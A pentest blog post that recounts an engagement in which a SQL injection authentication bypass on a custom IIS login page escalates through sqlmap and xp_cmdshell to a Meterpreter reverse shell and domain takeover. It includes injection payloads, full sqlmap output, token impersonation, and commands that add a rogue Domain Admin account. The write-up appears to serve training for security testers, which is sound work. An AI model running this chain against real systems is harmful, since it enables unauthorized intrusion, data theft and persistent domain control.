SQL Injection: Stealing the Keys to the Kingdom

SQL Injection: Stealing the Keys to the Kingdom

Recently I was conducting a penetration test for a very large high profile client. The last thing I was expecting to find was SQL Injection . The network itself had over 5500+ nodes and nearly 400 subnets.  I started out using one of my new tactics by utilizing Nmap’s new http-screenshot.nse script. If you haven’t had a chance to check it out; I highly suggest you do, its the new hotness. The NSE script essentially allows you to scan a network with nmap and take a screenshot of every webpage at the same time. Tutorials on how to use the script can be found on Pentest Geek here, or on Trustwave’s site here.

SQL Injection – Initial Identification

Normally when looking over all of the webpage screenshots I’m typically conscious of items like Apache tomcat servers with default creds, Jboss servers that expose the jmx-console, printers that have internal document servers holding confidential data, etc, etc…

When scrolling through these specific screenshots, this is the webpage that really caught my attention.


I had never seen it before, and all it offered was a login form for a username and password. This application definitely appeared to be custom made, and we all know custom made applications are put on a budget to complete. Projects on a budget often times are focused on functionality and not security. I wondered if the page was vulnerable to SQL Injection.

First thing I tried was a single quote (‘) in the username field, the typical SQL Injection test. I left the password field NULL to see what type of result would return.

Please enter a valid username and password to continue

Then I tried a single quote (‘) in the username field again and put some random text in the password field to get a 500 – Internal Server Error by IIS7. I was very excited at this point, because I had a hunch that SQL Injection was possible and that the single quote was breaking the backend SQL query.

SQL Injection – Troubleshooting Error Message

After the 500 response from the IIS, I attempted to use the following username and password combination:

Username:  ' or 1=1 --%20
Password:   password

This request responded with an error message from the application that stated:

Your account is not active. Please contact the Administrator

This error message helped assure me that the web application was vulnerable to an SQL injection authentication bypass vulnerability. In the back of my mind I was thinking either one of two things was happening. The request above was causing every single record in the table to return and the application only wanted a single record, or the first record had a disabled account. Often times when targeting SQL Injection the error messages don’t always tell us exactly what we need to know right away.

SQL Injection – Authentication Bypass

I pondered with a colleague and  discussed what would happen if we were able to manipulate how the database results were returned. What if we were able to sort the query by the 2nd, 3rd, or 4th column in the table? After some trial and error I tried the following SQL Injection request.

Username: a' or 1=1 ORDER BY 2 --%20
Password: password

Low and behold this request was able exploit the SQL injection vulnerability and logged me into a password reset function. Sure I could reset a users password, and then log in as that user, but I wanted to be stealth and see what other cool stuff I could do with this vulnerability. The next request I sent was very similar to above, only I had the SQL Injection query sort the response by the 3rd column in the table.

Username: a' or 1=1 ORDER BY 3 --%20
Password: password

Boom! This logged me into the web application and allowed me to query all sorts of confidential PII data. Now I could have sat back and been happy with my SQL Injection authentication bypass, but I wanted to see what else I could do with this vulnerability. That’s when I brought out sqlmap to see if it could provide me any additional assistance.

SQL Injection – Enter Sqlmap.py

./sqlmap.py -u http://192.168.1.33/login.asp –forms

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://192.168.1.33/login.asp --forms

sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets using SQL Injection without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:11:33

[15:11:33] [INFO] testing connection to the target url
[15:11:33] [INFO] heuristics detected web page charset 'ascii'
[15:11:33] [INFO] searching for forms
[#1] form:
POST http://192.168.1.33:80/login.asp
POST data: Username=&Password=&submit1=Login
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: Username=&Password=&submit1=Login] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] y

[15:11:41] [INFO] using '/pentest/database/sqlmap/output/results-08152012_0311pm.csv' as results file
[15:11:41] [INFO] heuristics detected web page charset 'ascii'
[15:11:41] [INFO] testing if the url is stable, wait a few seconds
[15:11:42] [INFO] url is stable
[15:11:42] [INFO] testing if POST parameter 'Username' is dynamic
[15:11:43] [WARNING] POST parameter 'Username' appears to be not dynamic
[15:11:43] [WARNING] heuristic test shows that POST parameter 'Username' might not be injectable
[15:11:43] [INFO] testing for SQL injection on POST parameter 'Username'
[15:11:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:11:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:11:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:11:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:11:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:11:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:11:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:11:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:12:03] [INFO] POST parameter 'Username' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[15:12:03] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:12:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:12:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:12:14] [INFO] POST parameter 'Username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[15:12:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:12:14] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[15:12:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:12:19] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:12:20] [INFO] target url appears to have 6 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y

[15:12:33] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[15:12:33] [INFO] checking if the injection point on POST parameter 'Username' is a false positive
POST parameter 'Username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

[15:12:53] [INFO] testing if POST parameter 'Password' is dynamic
[15:12:53] [WARNING] POST parameter 'Password' appears to be not dynamic
[15:12:53] [WARNING] heuristic test shows that POST parameter 'Password' might not be injectable
[15:12:53] [INFO] testing for SQL injection on POST parameter 'Password'
[15:12:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:12:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:12:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:12:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:13:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:13:01] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:13:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:13:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:13:14] [INFO] POST parameter 'Password' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[15:13:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:13:14] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:13:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:13:25] [INFO] POST parameter 'Password' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[15:13:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 40 columns'
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y

[15:13:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 40 columns'
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y

[15:13:50] [INFO] checking if the injection point on POST parameter 'Password' is a false positive
POST parameter 'Password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

[15:14:09] [INFO] testing if POST parameter 'submit1' is dynamic
[15:14:09] [WARNING] POST parameter 'submit1' appears to be not dynamic
[15:14:09] [WARNING] reflective value(s) found and filtering out
[15:14:09] [WARNING] heuristic test shows that POST parameter 'submit1' might not be injectable
[15:14:09] [INFO] testing for SQL injection on POST parameter 'submit1'
[15:14:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:14:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:14:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:14:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:14:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:14:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:14:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:14:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:14:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:14:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:14:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:14:23] [INFO] testing 'Oracle AND time-based blind'
[15:14:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 40 columns'
---
Place: POST
Parameter: Password
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Username=LGWo&Password=BuZo'; WAITFOR DELAY '0:0:5';--&submit1=Login

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Username=LGWo&Password=BuZo' WAITFOR DELAY '0:0:5'--&submit1=Login

Place: POST
Parameter: Username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Username=LGWo'; WAITFOR DELAY '0:0:5';--&Password=BuZo&submit1=Login

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Username=LGWo' WAITFOR DELAY '0:0:5'--&Password=BuZo&submit1=Login
---

there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: Username, type: Single quoted string (default)
[1] place: POST, parameter: Password, type: Single quoted string
[q] Quit
> 0
do you want to exploit this SQL injection? [Y/n] y

[15:16:32] [INFO] testing MySQL
[15:16:32] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[15:16:32] [WARNING] the back-end DBMS is not MySQL
[15:16:32] [INFO] testing Oracle
[15:16:32] [WARNING] the back-end DBMS is not Oracle
[15:16:32] [INFO] testing PostgreSQL
[15:16:33] [WARNING] the back-end DBMS is not PostgreSQL
[15:16:33] [INFO] testing Microsoft SQL Server
[15:16:38] [INFO] confirming Microsoft SQL Server
[15:16:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008

At this point I was able to determine the Username and Password parameter was injectable according to sqlmap. This wasn’t really anything new since I already injected through the Username parameter for the authentication bypass to work. Now I wondered, what can I do with these injectable parameters? I fired off sqlmap again to see if it was possible to enumerate all of the databases:

./sqlmap.py -u http://192.168.1.33/login.asp –forms –dbs

(snip)
...
available databases [11]:
[*] [database1]
[*] [database2]
[*] [database3]
[*] database4
[*] database5
[*] database6
[*] database7
[*] database8
[*] master
[*] model
[*] tempdb

sqlmap was able to enumerate that there were 11 databases running on this 2008 Microsoft SQL server via SQL Injection. Depending on permissions, I’m sure I could dump the entire contents of this database and find some more confidential PII data, but I wanted something cool like an shell on the OS where I could attempt to elevate privileges.

Since this was a Microsoft SQL server it might be possible to take advantage of the stored procedure xp_cmdshell which allows us to execute Windows native commands just like we were sitting at cmd.exe. The problem is that this feature is disabled in SQL 2008. I figured, you don’t know if it’s disabled unless you try.

 ./sqlmap.py -u http://192.168.1.33/login.asp –forms –os-pwn

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://192.168.1.33/login.asp --forms --os-pwn

sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:08:11

[17:08:11] [INFO] testing connection to the target url
[17:08:12] [INFO] heuristics detected web page charset 'ascii'
[17:08:12] [INFO] searching for forms
[17:08:12] [WARNING] you did not provide the local path where Metasploit Framework is installed
[17:08:12] [WARNING] sqlmap is going to look for Metasploit Framework installation into the environment paths
[17:08:12] [INFO] Metasploit Framework has been found installed in the '/usr/local/bin' path
[#1] form:
POST http://192.168.1.33:80/login.asp
POST data: Username=&Password=&submit1=Login
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: Username=&Password=&submit1=Login] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] y

[17:08:18] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:08:18] [INFO] using '/pentest/database/sqlmap/output/results-08152012_0508pm.csv' as results file
[17:08:18] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: Password
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Username=LGWo&Password=BuZo'; WAITFOR DELAY '0:0:5';--&submit1=Login

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Username=LGWo&Password=BuZo' WAITFOR DELAY '0:0:5'--&submit1=Login

Place: POST
Parameter: Username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Username=LGWo'; WAITFOR DELAY '0:0:5';--&Password=BuZo&submit1=Login

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Username=LGWo' WAITFOR DELAY '0:0:5'--&Password=BuZo&submit1=Login
---

there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: Password, type: Single quoted string (default)
[1] place: POST, parameter: Username, type: Single quoted string
[q] Quit
> 1
do you want to exploit this SQL injection? [Y/n] y

[17:08:21] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1

[17:08:24] [INFO] testing if current user is DBA
[17:08:24] [INFO] resumed: 1
[17:08:24] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[17:08:27] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[17:08:27] [INFO] testing if xp_cmdshell extended procedure is usable
[17:09:20] [INFO] xp_cmdshell extended procedure is usable
[17:09:20] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [192.168.1.96]
which local port number do you want to use? [26993] 5901
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[17:10:29] [INFO] creation in progress ...................... done
[17:10:51] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/shellcodeexec.x32.exe'
[17:10:51] [INFO] using a custom visual basic script to write the binary file content to file 'C:WindowsTempshellcodeexec.x32.exe', please wait..
do you want confirmation that the file 'C:WindowsTempshellcodeexec.x32.exe' has been successfully written on the back-end DBMS file system? [Y/n] n

[17:11:06] [INFO] running Metasploit Framework command line interface locally, please wait..

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM

=[ metasploit v4.4.0-release [core:4.4 api:1.0]
+ -- --=[ 923 exploits - 497 auxiliary - 150 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => process
LPORT => 5901
LHOST => 192.168.1.96
[*] Started reverse handler on 192.168.1.96:5901
[*] Starting the payload handler...
[17:11:35] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (752128 bytes) to 192.168.1.33
[*] Meterpreter session 1 opened (192.168.1.96:5901 -> 192.168.1.33:63481) at 2012-08-15 17:11:37 -0400

meterpreter > meterpreter > meterpreter > Computer        : HOSTNAME
OS              : Windows 2008 (Build 6002, Service Pack 2).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
meterpreter > Server username: DOMAINSQLAccount

SQL Injection – Conclusion

Not only was I able to determine that the web application was configured to run under the DBA account, but xp_cmdshell was already enabled for us, Great! Now sqlmap takes care of all the SQL Injection work and we’re able to get our handy dandy meterpreter that we all know and love.

From here it was too easy to take over the domain. Using incognito I was able to snarf a token of a Domain Admin that was recently logged in:

meterpreter > impersonate_token DOMAIN\Administrator
[+] Delegation token available
[+] Successfully impersonated user DOMAINAdministrator

meterpreter > getuid
Server username: DOMAINAdministrator

meterpreter > shell
Process 2804 created.
Channel 1 created.
Microsoft Windows Server 2008 [Version 7.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32> whoami
whoami
DOMAINadministrator

C:WINDOWSsystem32> net user hacker hacker_password /add /domain
The command completed successfully.

C:WINDOWSsystem32> net group "Domain Admins" hacker /add /domain
The command completed successfully.

From here the network was mine through a simple SQL injection authentication bypass.

Share this article

Facebooktwittergoogle_plusredditpinterestlinkedinmailFacebooktwittergoogle_plusredditpinterestlinkedinmail
6 Comments
  • Nice…It is uncommon, but in reality you see the same thing on older 2003 boxes, not to mention other backends. Also, just running as service offers a ton of other possibilities. MS-SQL servers are notoriously(developers suck) not patched. I run into ms09-004 all the time, and with user level access you can escalate. Nice run dude…take’m were u can get’m! ;)

  • I have found that the harder I work, the luckier I get.
    Yes, Win2008 server should not have xp_cmdshell enabled, but login fields should be sanitizing input as well…

    I am no longer suprised to find such vulnerabilies or mis-configurations. People take short cuts all the time…

    :-)

  • you got pretty damn lucky to have a 2008 server with the xp_cmdshell enabled and the app running as DBA

  • VERY INTERESTING . . . BUT QUITE CONFUSING FOR OLDER FOLKS.

  • Leave a Reply

    Your email address will not be published. Required fields are marked *

    Share This

    Recent Posts

    Latest Course

    Penetration Testing

    Categories

    Metasploit

    Web Application Hacking


    Copyright 2018

    css.php

    Want To Be a Better Pentester

    Join our mailing list and recieve FREE pentest tips, tricks, product reviews and more!

    Thank you, now go check your email!!